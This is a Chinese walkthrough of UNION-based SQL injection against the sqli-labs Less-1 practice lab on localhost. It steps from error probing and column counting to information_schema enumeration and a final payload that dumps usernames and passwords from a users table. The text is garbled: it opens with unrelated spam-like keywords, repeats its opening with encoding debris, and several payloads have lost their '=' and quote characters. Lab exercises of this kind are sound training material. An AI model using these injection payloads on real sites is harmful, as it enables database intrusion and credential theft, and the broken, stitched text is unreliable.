网站的种类,中国核工业第二三建设有限公司,模拟wordpress,进口香烟网上商城实验环境#xff1a;
Nginx.1.15.11
MySQL#xff1a;5.7.26 实验步骤#xff1a;
1.第一步#xff1a; 在id1后加入一个闭合符号#xff0c;如果报错#xff0c;再在后面加上 -- 将后面注释掉#xff0c;如果不报错#xff0c;则证明为字符型。
http://127.0.0.1/…实验环境
Nginx.1.15.11
MySQL5.7.26 实验步骤
1.第一步 在id1后加入一个闭合符号如果报错再在后面加上 -- 将后面注释掉如果不报错则证明为字符型。
http://127.0.0.1/sqli-labs-master/Less-1/?id1 -- 2.第二步 order by 查询字段个数逐级增加order by 后面的数字直到报错。这里是order by到第4个字段时报错所以证明有3个字段。
三个字段
http://localhost/sqli-labs-master/Less-1/?id1 order by 3 -- 四个字段
http://localhost/sqli-labs-master/Less-1/?id1 order by 4 -- 第三步 用select查询前三个字段目的是为了知道哪几个字段在前端显示这样我们可以将想要查询的数据将前端显示的字段替换掉比如这里我想查询数据库版本就用version()替换掉了2。注意前面的id1要改为id-1目的是为了让前面的查询语句不执行这样我们后面查询的version()才能够显示出来。
http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,2,3 --#这里使用联合查询id参数要为假
#显示位位2和3 http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,version(),3 -- 第四步 查询我们当前所使用的数据库为的是后期查询表名。这里查询到的表名为security。
http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,database(),3 -- 第五步 mysql5.0以上的版本有information_schema库information_schema库中有我们所需要的表名与库名。我们先查询security数据库中的所有表的名字并以一行输出的方式输出因为如果不一行输出的话前端只会显示查询的第一个表名。
http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity -- 第六步 现在我们知道了security数据库中的所有表名我们需要查询password和username常理下这些数据都会存储到users中所以我们现在查询users这个表中的所有字段的名字是什么。
http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers -- 第七步 现在我们知道了所用的库为security所用的表是users三个字段名分别为idusernamepassword那么我们就可以进行最后一步查询username和password的具体数据。
http://localhost/sqli-labs-master/Less-1/?id-1 union select 1,2,group_concat( username,id,password) from users --